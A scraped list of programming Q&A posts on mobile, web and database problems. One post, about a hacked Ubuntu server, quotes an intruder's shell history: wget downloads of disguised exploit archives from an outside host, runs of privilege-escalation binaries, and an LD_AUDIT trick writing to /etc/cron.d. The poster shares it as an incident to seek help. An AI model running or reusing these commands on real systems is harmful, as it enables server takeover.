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  • How to accommodate for the iPhone 4 screen resolution?

    - by dontWatchMyProfile
    This is a programming question! Read on before you vote to close! According to Apple, the iPhone 4 has a new and better screen resolution: 3.5-inch (diagonal) widescreen Multi-Touch display 960-by-640-pixel resolution at 326 ppi This little detail affects our apps in a heavy way. Most of the demo apps on the net have one thing in common: They position views in the believe that the screen has a fixed size of 320 x 480 pixels. So what most -if not all- developers do is: They designed everything in such a way, that a touchable area is -for example- 50 x 50 pixels big. Just enough to tap it. Things have been positioned relative to the upper left, to reach a specific position on screen - let's say the center, or somewhere at the bottom. Edit: It seems Apple has integrated an switch that allows to tell if an app is highRes or not. Nice. When we develop high-resolution apps, they probably won't work on older devices. And if they do, they would suffer a lot from 4-times the size of any image, having to scale them down in memory.

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  • iPhone: Strange Movement of Two UIImageView "Sprites"

    - by David Pollak
    I have two UIImageViews moving like sprites on a superview. Each imageview moves properly by itself but when I put both imageviews on the superview at the same time, their individual movement becomes strangely restricted to two different areas of the screen. They will not touch even programmed to the same coordinates. This is my movement code for the first imageView: - (void)viewDidLoad { [super viewDidLoad]; pos = CGPointMake(14.0, 7.0); [NSTimer scheduledTimerWithTimeInterval:0.05 target:self selector:@selector(onTimer) userInfo:nil repeats:YES]; } - (void) onTimer { pallone.center = CGPointMake(pallone.center.x+pos.x, pallone.center.y+pos.y); if(pallone.center.x > 320 || pallone.center.x < 0) pos.x = -pos.x; if(pallone.center.y > 480 || pallone.center.y < 0) pos.y = -pos.y; } and for the second imageview: - (IBAction)spara{ cos = CGPointMake(8.0, 4.0); [NSTimer scheduledTimerWithTimeInterval:0.05 target:self selector:@selector(inTimer) userInfo:nil repeats:YES]; } - (void)inTimer{ bomba.center = CGPointMake(bomba.center.x+pos.x, bomba.center.y+pos.y); if(bomba.center.x > 50 || bomba.center.x < 0) pos.x = -pos.x; if(bomba.center.y > 480 || bomba.center.y < 0) pos.y = -pos.y; } Why causes this strange behavior? Thanks for your help. I am a newbie.

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  • jQuery e.target bubbling best practice ?

    - by olouv
    In my heavy-ajax code, i always bind "click" the body tag & act depending on $(e.target) & using $.fn.hasClass(). However when i click on an anchor that has a </span> tag inside, my $(e.target) equals this node, and not the parent anchor as i would like it to. From now on, i have used this trick (var $t = $(e.target);) : /** bubbling **/ if($t.get(0).tagName !== "A" && $t.get(0).tagName !== "AREA") { $t = $t.parent("a"); if(empty($t)) return true; //else console.log("$t.bubble()", $t); } It feels wrong somehow... Do you have any better implementation ? $.fn.live() does not solve my issue as it still returns the span as the target. Moreover i'm looking for speed (running on atom-based touch devices) & live appeared to be way slower (twice) : http://jsperf.com/bind-vs-click/3 In fact, as @Guffa pointed, using $.fn.live() solves the span bubbling issue as i don't need the event.target anymore. I guess there is no other "right" answer here (using bind).

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  • Getting force close when i add view to other view when a thread is running

    - by Praveena
    Hi, I am getting the below error 12-30 05:40:40.484: ERROR/AndroidRuntime(413): Uncaught handler: thread Thread-10 exiting due to uncaught exception 12-30 05:40:40.494: ERROR/AndroidRuntime(413): android.view.ViewRoot$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views. 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.ViewRoot.checkThread(ViewRoot.java:2629) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.ViewRoot.requestLayout(ViewRoot.java:545) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.View.requestLayout(View.java:7657) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.View.requestLayout(View.java:7657) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.View.requestLayout(View.java:7657) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.View.requestLayout(View.java:7657) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.View.requestLayout(View.java:7657) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.ViewGroup.addView(ViewGroup.java:1749) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.ViewGroup.addView(ViewGroup.java:1708) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at android.view.ViewGroup.addView(ViewGroup.java:1688) 12-30 05:40:40.494: ERROR/AndroidRuntime(413): at com.wwwww.shout.presentationLayer.Shout$1.run(Shout.java:137) and my code is myProgressDialog = ProgressDialog.show(Shout.this,"","Loading...",true); new Thread() { public void run() { String xml; xml="<spGetUserMessages><SearchLocation></SearchLocation></spGetUserMessages>"; messages =parse.GetGetUserMessages(dataparsing.ILGetUserMessages(xml)); myProgressDialog.dismiss(); ((LinearLayout)findViewById(R.id.LinearlayoutMessage)).addView(iiii); } }.start(); at the time of adding views to the layout i am getting the above error.what is the wrong in this.Please give me some suggestions.Thanks in advance

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  • Bing Map on Windows Phone - add click events to pushpins; display more details

    - by Will Gill
    I have a WP Phone app using a Bing Map control. I have an array of objects, and each object has a location. I iterate the array to place the pins on the map (see below). I have a touch event bound to each pin to allow the user to tap the pin to start an action. Now - I would like, on tap, to show information from the object that relates to that pin to be shown in a textbox. How can I retrieve the object from the array that corresponds to the pushpin that was tapped/clicked? foreach (wikiResult result in arrayResults) { double lat = double.Parse(result.Latitude, CultureInfo.InvariantCulture); double lng = double.Parse(result.Longitude, CultureInfo.InvariantCulture); statusTextBlock.Text = result.Latitude + " " + result.Longitude + " " + lat + " " + lng; GeoCoordinate d = new GeoCoordinate(lat, lng); Pushpin pin; pin = new Pushpin(); pin.Location = d; pin.Content = result.Name; pin.MouseLeftButtonUp += new MouseButtonEventHandler(pin1_MouseLeftButtonUp); myMap.Children.Add(pin); } void pin1_MouseLeftButtonUp(object sender, MouseButtonEventArgs e) { //display the content from the object in a text box } Many thanks in advance!

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  • Div on top of Div using z-index.

    - by Iacks
    I have the following divs in my HTML: <div class="main"> <div class="bgimage"></div> <div class="content">Text</div> which is directly inside my body. With the following CSS: .content{filter:alpha(opacity=50);-moz-opacity: 0.5;opacity: 0.5;} .content{position:relative;z-index:1;border:#000 thin solid;width:960px;margin-left:auto;margin-right:auto;background-color:#000;} .bgimage{position:absolute;z-index:-1;width:1024px;height:768px;margin-left:auto;margin-right:auto;background-image:url(bg1.jpg);} Basically, I have a Div that with a display of a background image, and I will have another Div on top of this with transparency. This current code works, but my problem is when I am trying to take the content div down from the top. When I add margin-top:100px, for example, is also brings the image down. I thought it would not touch it if it is not on the same z-index? Why does adding a margin also force the bgimage div down? I have also tried making the div with class of content a position of absolute and a zindex, but then this won't centre. How should I solve this?

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  • Scrollbars in ScrollView not showing after custom child view changes size

    - by Ted Hopp
    I have a ScrollView containing a client that is a vertical LinearLayout. The client, in turn, contains custom views that change height dynamically as a background thread does some work. The problem I'm having is that the ScrollView's vertical scroll bar is not updating correctly in Android 1.5. The most common problem occurs when the initial total height of the client is less than the viewport and grows. Initially there is no scroll bar, and it does not show up when the client grows until I actually scroll the window with a touch gesture or other UI action. After that, the scroll bar shows up. However, the thumb does not update as the height continues to change from the background thread. If I scroll the view again through the UI, the thumb immediately corrects itself. My code for updating the height from the background thread is: post(mLayoutRequestor); postInvalidate(); (mLayoutRequestor is a Runnable that just calls requestLayout().) This is done after I've recorded the new height in a variable mHeight. My onMeasure() method calls setMeasuredDimension with a height computed like this: private int measureHeight(int measureSpec) { int result; int specMode = MeasureSpec.getMode(measureSpec); int specSize = MeasureSpec.getSize(measureSpec); if (specMode == MeasureSpec.EXACTLY) { result = specSize; } else { result = mHeight; if (specMode == MeasureSpec.AT_MOST && result > specSize) result = specSize; } return result; } Am I supposed to be calling something else besides requestLayout() to get the scroll bar to update correctly?

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  • CLLocationManager class method not calling in iPodTouch

    - by Siddharth
    HI all, I was using a sample code which uses CLLocationManager class to determine the current location of user. when i run this app on iPad i am getting the correct location but when i run the same app on iPod Touch i am getting a blank label i.e nothing is displayed on the label .although wi-fi signal strength is good in both iPod and iPad.The code looks like... - (void)locationManager:(CLLocationManager *)manager didUpdateToLocation:(CLLocation *)newLocation fromLocation:(CLLocation *)oldLocation{ int degrees = newLocation.coordinate.latitude; double decimal = fabs(newLocation.coordinate.latitude - degrees); int minutes = decimal * 60; double seconds = decimal * 3600 - minutes * 60; NSString *lat = [NSString stringWithFormat:@"%d° %d' %1.4f\"", degrees, minutes, seconds]; latLabel.text = lat; [latLocationArray addObject:lat]; degrees = newLocation.coordinate.longitude; decimal = fabs(newLocation.coordinate.longitude - degrees); minutes = decimal * 60; seconds = decimal * 3600 - minutes * 60; NSString *longt = [NSString stringWithFormat:@"%d° %d' %1.4f\"", degrees, minutes, seconds]; longLabel.text = longt; [longLocationArray addObject:longt]; }

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  • UIButton and UIControlEventState issue

    - by Typeoneerror
    I'm having a very specific "bug" in my iPhone application. I'm setting two images for the highlighted and normal states of a button. It works as expected when you "press" and then "touch up" at a slow pace, but if you click/tap it quickly, there's a noticeable flicker between states. Is this a known bug or am I setting the states incorrectly? Here's the code that creates the buttons: UIImage *normalImage = [[UIImage imageNamed:@"btn-small.png"] stretchableImageWithLeftCapWidth:10.0f topCapHeight:0.0f]; UIImage *highlightedImage = [[UIImage imageNamed:@"btn-small-down.png"] stretchableImageWithLeftCapWidth:10.0f topCapHeight:0.0f]; [self setBackgroundColor:[UIColor clearColor]]; [self setBackgroundImage:normalImage forState:UIControlStateNormal]; [self setBackgroundImage:highlightedImage forState:UIControlStateDisabled]; [self setBackgroundImage:highlightedImage forState:UIControlStateHighlighted]; [self setAdjustsImageWhenDisabled:FALSE]; [self setAdjustsImageWhenHighlighted:FALSE]; When a button is tapped it simply disables itself and enables the other button: - (IBAction)aboutButtonTouched:(id)sender { aboutButton.enabled = FALSE; rulesButton.enabled = TRUE; } - (IBAction)rulesButtonTouched:(id)sender { rulesButton.enabled = FALSE; aboutButton.enabled = TRUE; } Any thoughts on this quick-click flicker?

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  • IPhone Objectvie C

    - by Sea
    I am trying to determine if a UILabel was touched and if so do something. Give .. . . . UILabel * site = [[UILabel alloc] initWithFrame:CGRectMake(0, 185, 320, 30)]; site.text = [retriever.plistDict valueForKey:@"url"]; site.textAlignment =UITextAlignmentCenter; site.backgroundColor = [UIColor clearColor]; site.textColor = [UIColor whiteColor]; site.userInteractionEnabled = YES; [theBgView addSubview:site]; [site release]; . . . Then I write the callback. - (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event{ retriever = [PListRetriever sharedInstance]; CGPoint pt = [[touches anyObject] locationInView: self]; NSURL *target = [[NSURL alloc] initWithString:[retriever.plistDict valueForKey:@"url"]]; [[UIApplication sharedApplication] openURL:target]; } The problem is right now, no matter where I touch in the View the Url is being opened. How do I determine if only just my label was touched?

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  • Rails: generating URLs for actions in JSON response

    - by Chris Butler
    In a view I am generating an HTML canvas of figures based on model data in an app. In the view I am preloading JSON model data in the page like this (to avoid an initial request back): <script type="text/javascript" charset="utf-8"> <% ActiveRecord::Base.include_root_in_json = false -%> var objects = <%= @objects.to_json(:include => :other_objects) %>; ... Based on mouse (or touch) interaction I want to redirect to other parts of my app that are model specific (such as view, edit, delete, etc.). Rather than hard code the URLs in my JavaScript I want to generate them from Rails (which means it always adapts the latest routes). It seems like I have one of three options: Add an empty attr to the model that the controller fills in with the appropriate URL (we don't want to use routes in the model) before the JSON is generated Generate custom JSON where I add the different URLs manually Generate the URL as a template from Rails and replace the IDs in JavaScript as appropriate I am starting to lean towards #1 for ease of implementation and maintainability. Are there any other options that I am missing? Is #1 not the best? Thanks! Chris

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  • Anchor tags are blank

    - by ryanday
    I'm having a problem where the my anchor tags sometimes aren't displaying their links. This is happening on Mobile Safari on multiple iPhones, and in the iPhone simulator. I'm using jQtouch r147, PhoneGap, and jQuery 1.4.2. I'm generating the data from a database call, and adding anchor tags to a list like this: for(var i=0;i<data.rows.length;i++) { var item = $('<li></li>'); var name = data.rows.item(i).name; var anchor = $('<a href="#lpage">'+name+'</a>'); item.addClass('arrow'); // This line always displays the name, even when I can't see // the name in the browser debug.log('The name: ' + name); (function(info) { anchor.bind('tap', function(e) { debug.log('Touch start ' + info.id); }); })(data.rows.item(i)); item.append(anchor); if( anchor.html() == null ) { debug.log('html is blank'); } $('#myUL').append(item); } Sometimes my list of names shows fine(http://imagebin.org/101462), and sometimes it is just blank(http://imagebin.org/101464). When the list is blank, I see the debug.log() line show me 'html is blank', and I also see the log line show me that the variable 'name' does, in fact, contain a valid name. When I check for anchor.html() == null, I've also tried to .remove() the anchor tag, and re-create it. But it always comes back without the name displayed. This happens on the mobile device and in the simulator, but I've never seen it happen in Safari or in Chrome. Has anyone seen something like this? I can't find the cause, and I can't get it to stop. Thank you for any ideas or suggestions!

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  • ORA- 01157 / Cant connect to database

    - by Tom
    Hi everyone, this is a follow up from this question. Let me start by saying that i am NOT a DBA, so i'm really really lost with this. A few weeks ago, we lost contact with one of our SID'S. All the other services are working, but this one in particular is not. What we got was this message when trying to connect ORA-01033: ORACLE initialization or shutdown in progress An attempt to alter database open ended up in ORA-01157: cannot identify/lock data file 6 - see DBWR trace file ORA-01110: data file 6: '/u01/app/oracle/oradata/xxx/xxx_data.dbf' I tried to shutdown / restart the database, but got this message. Total System Global Area 566231040 bytes Fixed Size 1220604 bytes Variable Size 117440516 bytes Database Buffers 444596224 bytes Redo Buffers 2973696 bytes Database mounted. ORA-01157: cannot identify/lock data file 6 - see DBWR trace file ORA-01110: data file 6: '/u01/app/oracle/oradata/xxx/xxx_data.dbf' When all continued the same, I erased the dbf files (rm xxx_data.dbf xxx_index.dbf), and recreated them using touch xxx_data.dbf. I also tried to recreate the tablespaces using `CREATE TABLESPACE DATA DATAFILE XXX_DATA.DBF` and got Database not open As I said, i don't know how bad this is, or how far i'm from gaining access to my database (well, to this SID at least, the others are working). I would imagine that a last resource would be to throw everything away, and recreating it, but I don't know how to, and I was hoping there's a less destructive solution. Any help will be greatly appreciated . Thanks in advance.

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  • AJAX contact form in CodeIgniter

    - by Ross
    Few questions: I'm using CI and JQuery AJAX. In my code below, I assemble dataString, which by default, is appended to the URL as a query string. I've changed the AJAX "type" to POST, so my question is - how do I access dataString in my CI app? It would seem I still have to use $name=$this->input->post('name') Which to me, makes setting dataString redundant? -- I've tried searching but can't really find anything concrete. Would it be possible to still make use of CIs validation library and AJAX? if($this->form_validation->run() == FALSE) { // what can i return so that my CI app shows errors? } Normally you would reload the contact form or redirect the user. In an ideal world I would like the error messages to be shown to the user. Jquery: $(document).ready(function($){ $("#submit_btn").click(function(){ var name = $("input#name").val(); var company = $("input#company").val(); var email = $("input#email").val(); var phone = $("input#phone").val(); var message = $("textarea#message").val(); var dataString = 'name=' + name + '&message=' + message + '&return_email=' + email + '&return_phone=' + phone + '&company=' + company; var response = $.ajax({ type: "POST", url: "newsite/contact_ajax/", data: dataString }).responseText; //$('#contact').hide(); //$('#contact').html('<h5>Form submitted! Thank you!</h5><h4>We will be in touch with you soon.</h4>'); //$('#contact').fadeIn('slow'); return false; }); }); hope i've been clear enough - if anyone has a decent example of a CI contact form that would be great. there's mixed stuff on the internet but nothing that hits all the boxes. thanks

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  • iPhone NSTimer OpenGL problem

    - by Toby Wilson
    I've got a problem that only seems to occur on the device, not in the simulator. My app's animation is started and stopped using these methods: NSTimer* animationTimer; -(void)startAnimation { if(animationTimer = nil) animationTimer = [NSTimer scheduledTimerWithTimeInterval:1.0f/60.0f target:self selector:@selector(drawView) userInfo:nil repeats:YES]; } -(void)stopAnimation { [animationTimer invalidate]; animationTimer = nil; } In the simulator this works fine and drawView starts being called at 60fps. On the device (testing on iPod Touch), the scheduleTimerWithTimeInterval method doesn't seem to work. Furthermore, [animationTimer invalidate] causes EXC_BAD_ACCESS. I've spotted an obvious but minor flaw; adding if(animationTimer != nil) to the stopAnimation method will prevent the crash, but doesn't solve the problem of the animation timer not being properly initialised. Edit: The above doesn't prevent a crash. animationTimer != nil yet calling invalidate causes EXC_BAD_ACCESS. Should also add, this problem doesn't occur all the time on the device. Maybe 40% of the time.

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  • Errors with redefinitions after upgrade to XCode 3.2.3

    - by CA Bearsfan
    I recently upgraded to Snow Leopard and Xcode 3.2.5 so I could test on my iPod Touch and iPhone and ran into some problems with the project I was working on. First it couldn't find a Base SDK, then my old frameworks weren't hooking up correctly. Finally after setting the Project Format to Xcode 3.1 compatible (3.2 also worked) and the Base SDK for all configurations to iOS 4.2, then setting my iOS deployment target to iOS 3.0 I was able to get the system to find a Base SDK and attempt a build. That's when the frameworks didn't want to cooperate. 4/6 I'm using displayed in red, so I re routed the path to the iPhone simulator 4.2 platform which worked perfectly. I was able to build my project, no errors or warnings and my app worked fine. I went to work last night thinking I had fixed the problem. This morning I fired up the laptop and went to build my code base and now have 1142 errors all of which have to do with code I haven't written deemed as being redefined. Suggestions? The following is just a small sample of the error list (obviously don't need to see all 1142) //Frameworks/Foundation.framework/Headers/NSZone.h:48: error: redefinition of 'NSMakeCollectable' /Frameworks/Foundation.framework/Headers/NSObject.h:65: error: duplicate interface declaration for class 'NSObject' /Frameworks/Foundation.framework/Headers/NSObject.h:67: error: redefinition of 'struct NSObject'

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  • Javascript and rendering pauses and stays paused on scroll in the android browser

    - by user357303
    Hi. I've found some wierd behaviour related to scrolling and rendering and javascript. How to make it happen: On any webpage that is long enough to scroll on. Start to scroll pretty fast (fling the page). then release the touch. No while the page is still scrolling because of the momentum. Tap the screen to stop the scroll. This make the browser enter a wierd mode. On the nexus one it behaves like this: The updating of what's shown on the screen stops, you can still click on links and the go to where they are supposed to but what's shown on the screen stays the same. If you then scroll the screen a bit the update of the screen kicks in again and what you you where suppsed to see all the time is shown. On all phones with HTC Sense I've tried (Hero, Desire, Legend) this happens: The updating of the screen is stopped just like on the nexus one, but also the execution of any javascript is stopped. If you click on a link that takes you to another page however things return to normal again. The way I tested this was I created a page like this: http://pastebin.ca/1881620 The changeColor function simply changed the background color of 'container' to a few different colors. So before the error what happens is that when you click any link the color changes. after the error this happens: Nexus one: when you click on the links nothing happens (except the "orange link selected rounded corner box thing" is shown as if the link is clicked). Then when you scroll abit. You can see the color has changed (and equal amount of times to the number of times I clicked the link). On Sense: The links take me to google.com Has anyone else noticed this problem? Is there anyway to work around it? Thanks.

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  • zoomfactor value in CGAffineTransformMakeScale in iPhone

    - by suse
    Hello, 1) I'm doing pinch zoom on the UIImageView , how should i decide upon the zoomfactor value, because when the zoomfactor value goes beyond 0[i.e negative value]the image is gettig tilted, which i dont want it to happen. how to avoid this situation. 2) Y is the flickring kind of rotationis happening, Y not the smooth rotation? ll this be taken care by CGAffineTransformMakeScale(zoomfactor,zoomfactor);method? This is what i'm doing in my code: zoomFactor = 0;// Initially zoomfactor is set to zero - (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{ NSLog(@" Inside touchesBegan .................."); NSArray *twoTouches = [touches allObjects]; UITouch *first = [twoTouches objectAtIndex:0]; OPERATION = [self identifyOperation:touches :first]; NSLog(@"OPERATION : %d",OPERATION); if(OPERATION == OPERATION_PINCH){ //double touch pinch UITouch *second = [twoTouches objectAtIndex:1]; f_G_initialDistance = distanceBetweenPoints([first locationInView:self.view],[second locationInView:self.view]); } NSLog(@" leaving touchesBegan .................."); } - (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event { NSLog(@" Inside touchesMoved ................."); NSArray *twoTouchPoints = [touches allObjects]; if(OPERATION == OPERATION_PINCH){ CGFloat currentDistance = distanceBetweenPoints([[twoTouchPoints objectAtIndex:0] locationInView:self.view],[[twoTouchPoints objectAtIndex:1] locationInView:self.view]); int pinchOperation = [self identifyPinchOperation:f_G_initialDistance :currentDistance]; G_zoomFactor = [self calculateZoomFactor:pinchOperation :G_zoomFactor]; [uiImageView_G_obj setTransform:CGAffineTransformMakeScale(G_zoomFactor, G_zoomFactor)]; [self.view bringSubviewToFront:resetButton]; [self.view bringSubviewToFront:uiSlider_G_obj]; f_G_initialDistance = currentDistance; } NSLog(@" leaving touchesMoved .................."); } - (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { NSLog(@" Inside touchesEnded .................."); NSArray *twoTouches = [touches allObjects]; UITouch *first = [twoTouches objectAtIndex:0]; if(OPERATION == OPERATION_PINCH){ //do nothing } NSLog(@" Leaving touchesEnded .................."); } Thank You.

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  • How do I push another viewController onto the navigationController from within a tabviewController?

    - by user207788
    Hi, I have a project set up using these two tutorials. http://twilloapp.blogspot.com/2009/03/how-to-embed-navigation-controller.html and the link for the second tutorial is at the bottom of the first. The tutorial is slightly outdated but I managed to get it to work as advertised. Now I want to push a new detailedView onto the NavigationController when a user touches a row in the table view. So I added this to my MyTableViewController.m file. - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { // Navigation logic may go here. Create and push another view controller. SecondViewController *detailViewController = [[SecondViewController alloc] initWithNibName:@"SecondViewController.xib" bundle:nil]; // ... // Pass the selected object to the new view controller. [self.navigationController pushViewController:detailViewController animated:YES]; [detailViewController release]; } Now when I run this project and touch a row in my table view I am getting an error: asm_Terminating_due_to_uncaught_exception IT seems to be having an issue loading the SecondViewController from nib, however I checked the detailViewController and it is not nil. I know I am missing something and it is more than likely something simple. Please help. Thanks, Bruce

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  • implementing gravity to projectile - delta time issue

    - by Murat Nafiz
    I'm trying to implement a simple projectile motion in Android (with openGL). And I want to add gravity to my world to simulate a ball's dropping realistically. I simply update my renderer with a delta time which is calculated by: float deltaTime = (System.nanoTime()-startTime) / 1000000000.0f; startTime = System.nanoTime(); screen.update(deltaTime); In my screen.update(deltaTime) method: if (isballMoving) { golfBall.updateLocationAndVelocity(deltaTime); } And in golfBall.updateLocationAndVelocity(deltaTime) method: public final static double G = -9.81; double vz0 = getVZ0(); // Gets initial velocity(z) double z0 = getZ0(); // Gets initial height double time = getS(); // gets total time from act begin double vz = vz0 + G * deltaTime; // calculate new velocity(z) double z = z0 - vz0 * deltaTime- 0.5 * G * deltaTime* deltaTime; // calculate new position time = time + deltaTime; // Update time setS(time); //set new total time Now here is the problem; If I set deltaTime as 0.07 statically, then the animation runs normally. But since the update() method runs as faster as it can, the length and therefore the speed of the ball varies from device to device. If I don't touch deltaTime and run the program (deltaTime's are between 0.01 - 0.02 with my test devices) animation length and the speed of ball are same at different devices. But the animation is so SLOW! What am I doing wrong?

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  • Reload images in a UIWebView after they have been downloaded by a background thread

    - by dantastic
    I have an application that frequently checks in with a server and downloads a batch of articles to the iphone. The articles are in html and just stored using core data. An article has 0-n images on the page. Downloading all associated images at the same time as the text will be too slow and take too much bandwidth. Users are not likely to open every article. If they open an article once it is likely they will open it several times. So I want to download and store the images locally when they are needed. These articles are listed in a UITableView. When you tap an article you pop open a UIWebView that displays the article. I have a function that checks if I have downloaded the images associated with the article already. If I have I just pop open the the UIWebView - everything works fine. If I don't have the images downloaded I go off and download them and store them to my Documents directory. Although this i working, the app is hanging while the images are downloading. Not very tidy. I want the article to open in a snap and download the images with the article open. So what I've done is I check if the images are downloaded, if they aren't I go ahead and just "touch" the files I need and load the webview. The UIWebView opens up but the images referenced contain no data. Then in a background thread I download the images and overwrite the "dummy" ones. This will save the images and everything but it won't reload the images in my current UIWebView. I have to go back out of the article back back in again to see the images. Are there any ways around this? reloading just an image in a UIWebView?

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  • Design: How to declare a specialized memory handler class

    - by Michael Dorgan
    On an embedded type system, I have created a Small Object Allocator that piggy backs on top of a standard memory allocation system. This allocator is a Boost::simple_segregated_storage< class and it does exactly what I need - O(1) alloc/dealloc time on small objects at the cost of a touch of internal fragmentation. My question is how best to declare it. Right now, it's scope static declared in our mem code module, which is probably fine, but it feels a bit exposed there and is also now linked to that module forever. Normally, I declare it as a monostate or a singleton, but this uses the dynamic memory allocator (where this is located.) Furthermore, our dynamic memory allocator is being initialized and used before static object initialization occurs on our system (as again, the memory manager is pretty much the most fundamental component of an engine.) To get around this catch 22, I added an extra 'if the small memory allocator exists' to see if the small object allocator exists yet. That if that now must be run on every small object allocation. In the scheme of things, this is nearly negligable, but it still bothers me. So the question is, is there a better way to declare this portion of the memory manager that helps decouple it from the memory module and perhaps not costing that extra isinitialized() if statement? If this method uses dynamic memory, please explain how to get around lack of initialization of the small object portion of the manager.

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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • Developing Job References

    - by Joe Smith
    How do you develop references for jobs? I have 6 years of programming experience spanning two jobs, but sadly I don't have a lot of people I can draw on as references. It's been several years since I left my last job, which was at a small company, and I've lost touch with the few people I knew there. I now work at another small company. I think I've gone as far as I can in my current position, and would like to look for greener pastures, but I can't exactly use my current boss as a reference, even though I have a very good repore with him. I'm sure he'd make a great reference down the road, but I'm afraid I'd insult him or jeopardize my current job by mentioning that I'm thinking of leaving and would like him to help me. I've applied to some jobs, and I have gotten several replies like, "Oh, you're exactly what we're looking for. Send us a couple references and we'll schedule an interview. Oh, no references? You must be a psychopath, nevermind." I've tried doing some small freelance work on the side, just so I can have a contact who can vouch for my work, but the competition for even small projects is pretty fierce and I can rarely devote adequate time to freelancing while holding a full time job. In addition, I often encounter a Catch-22 where a lot of freelancing jobs also require references. So how do programmers maintain existing references and develop new ones, especially while holding a full time job?

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  • nullable bool is being passed to the controller null all the time regardless of the value

    - by user1807954
    I'm trying to pass a nullable bool to my controller. But when I pass the bool value from my view to the controller, it's being passed null all the time regardless of the value it has in my view. Here is my view: @model Cars.Models.Car @using (Html.BeginForm("Index", "Home", FormMethod.Post, new { id = "CategoryFormID"})) { <label>Convertible:</label> <input type="checkbox" id="ConvertibleID" name="convertible"/> <button type="submit" name="submit" value="search" id="SubmitID">Search</button> } And my controller: [HttpPost] public ActionResult Index(bool? convertible){ var cars = from d in db.Car select d; if (convertible.HasValue) { cars = cars.Where(x => x.Convertible == convertible); } return View("SearchResult", cars); } I also have other fields such as drop down lists and text fields, but they're being passed flawless. Any help would be really appreciated. Update: Thank you for your fast responds. However, I did try giving it a value="True" as you guys suggested. There is only 2 options now: null and true. But my intention is to use nullable bool to have three options: null (when user doesn't touch the checkbox), true(checked) and false(unchecked). I know it sounds not smart and silly, but I'm just trying to figure out how nullable bool is working, and what is the intention of having such a thing in C# (I'm new with C#). I was wondering if it is possible to do so with just checkbox and without the use of dropdownlist or radio buttons.

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